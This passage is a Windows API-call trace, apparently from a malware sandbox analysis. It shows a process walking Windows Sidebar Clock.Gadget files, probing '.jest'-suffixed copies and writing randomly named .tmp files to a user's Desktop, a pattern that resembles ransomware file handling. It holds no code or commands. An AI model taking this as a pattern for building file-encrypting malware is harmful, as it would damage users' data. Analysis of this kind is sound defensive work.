lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x78, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0125.669] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.669] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e780*="settings.css") returned 0x4c [0125.670] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e780*="settings.css") returned 0x4c [0125.670] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.670] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x222)) [0125.670] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x222)) [0125.671] GetUserDefaultLCID () returned 0x409 [0125.671] VarBstrFromR4 (in: fltIn=0x479444c6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.55") returned 0x0 [0125.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="²") returned 1 [0125.671] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e780*="settings.css") returned 0x4c [0125.672] GetFullPathNameA (in: lpFileName="sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp", lpFilePart=0x18e708*="sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp") returned 0x8e [0125.672] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x4c [0125.672] GetFullPathNameA (in: lpFileName="sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp", lpFilePart=0x18e6e4*="sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp") returned 0x8e [0125.672] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sOtz2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7a744f73, cFileName="2zWjogIeH5T9etrlviTFD8SK5c0kecBxaTdmeOTgkw50xqKYJUrKF5tQzFKlIGzKr1zKW-Hh3hIbF5jLDDUlWUKKrf6T_lSt.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.673] GetLastError () returned 0x2 [0125.673] GetLastError () returned 0x2 [0125.673] SetLastError (dwErrCode=0x2) [0125.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.673] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.676] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFilePart=0x18e870*="diner.png") returned 0x4c [0125.729] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png.jest", lpFilePart=0x18e870*="diner.png.jest") returned 0x51 [0125.733] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFilePart=0x18e6d8*="diner.png") returned 0x4c [0125.733] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x78, dwReserved1=0x0, cFileName="diner.png", cAlternateFileName="")) returned 0x143ce48 [0125.733] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.736] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFilePart=0x18e780*="diner.png") returned 0x4c [0125.737] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFilePart=0x18e780*="diner.png") returned 0x4c [0125.737] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.737] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x260)) [0125.737] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x260)) [0125.737] GetUserDefaultLCID () returned 0x409 [0125.737] VarBstrFromR4 (in: fltIn=0x479444ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.61") returned 0x0 [0125.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="Ÿ") returned 1 [0125.739] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFilePart=0x18e780*="diner.png") returned 0x4c [0125.740] GetFullPathNameA (in: lpFileName="2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp", lpFilePart=0x18e708*="2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp") returned 0x8f [0125.741] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png", lpFilePart=0x18e708*="diner.png") returned 0x4c [0125.741] GetFullPathNameA (in: lpFileName="2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp", lpFilePart=0x18e6e4*="2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp") returned 0x8f [0125.741] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2JO0Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x304f4a32, cFileName="Tz0Z6SvIsJgsDxY5ElpXaUoYmfTxNu_934lUwJ D2VEGjg4t67u3dkFPDiuhY9UjS wvGc4l8ogrcZ2mLYCPvgxhtOFRw2foj.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.741] GetLastError () returned 0x2 [0125.741] GetLastError () returned 0x2 [0125.741] SetLastError (dwErrCode=0x2) [0125.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.742] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.744] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFilePart=0x18e870*="diner_h.png") returned 0x4e [0125.746] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png.jest", lpFilePart=0x18e870*="diner_h.png.jest") returned 0x53 [0125.747] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFilePart=0x18e6d8*="diner_h.png") returned 0x4e [0125.748] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x78, dwReserved1=0x0, cFileName="diner_h.png", cAlternateFileName="")) returned 0x143ce48 [0125.748] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.748] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFilePart=0x18e780*="diner_h.png") returned 0x4e [0125.749] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFilePart=0x18e780*="diner_h.png") returned 0x4e [0125.749] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.749] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x270)) [0125.749] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x270)) [0125.749] GetUserDefaultLCID () returned 0x409 [0125.749] VarBstrFromR4 (in: fltIn=0x479444d0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.63") returned 0x0 [0125.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="E") returned 1 [0125.750] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFilePart=0x18e780*="diner_h.png") returned 0x4e [0125.750] GetFullPathNameA (in: lpFileName="KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp", lpFilePart=0x18e708*="KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp") returned 0x8e [0125.751] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png", lpFilePart=0x18e708*="diner_h.png") returned 0x4e [0125.751] GetFullPathNameA (in: lpFileName="KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp", lpFilePart=0x18e6e4*="KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp") returned 0x8e [0125.751] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KxoH5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x486f784b, cFileName="5VW1pK9_WsYHDTDNdMbb3fZX-fhs2lGTpKk7J_zqshOUsr8tuHRf5SSwNIK4hHHwQsRXnLRQkifiP89v7eY75DYRZVIxszbA.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.751] GetLastError () returned 0x2 [0125.751] GetLastError () returned 0x2 [0125.751] SetLastError (dwErrCode=0x2) [0125.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.752] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.752] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", lpFilePart=0x18e870*="diner_m.png") returned 0x4e [0125.754] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png.jest", lpFilePart=0x18e870*="diner_m.png.jest") returned 0x53 [0125.756] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", lpFilePart=0x18e6d8*="diner_m.png") returned 0x4e [0125.756] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e9f29c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x78, dwReserved1=0x0, cFileName="diner_m.png", cAlternateFileName="")) returned 0x143ce48 [0125.756] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.756] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", lpFilePart=0x18e780*="diner_m.png") returned 0x4e [0125.757] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", lpFilePart=0x18e780*="diner_m.png") returned 0x4e [0125.757] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.757] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x270)) [0125.758] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x270)) [0125.758] GetUserDefaultLCID () returned 0x409 [0125.758] VarBstrFromR4 (in: fltIn=0x479444d0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.63") returned 0x0 [0125.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="‹") returned 1 [0125.758] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", lpFilePart=0x18e780*="diner_m.png") returned 0x4e [0125.759] GetFullPathNameA (in: lpFileName="nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp", lpFilePart=0x18e708*="nwUy9D1VxIHHYkQvClYipWb9tNWXBltiPw7srIxQap1MRbDVRL_QU0WG3cyismIZVZLq2rpSu31J2hJyIurmCg72dC56OCGVjHt6.tmp") returned 0x8e [0125.759] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png", 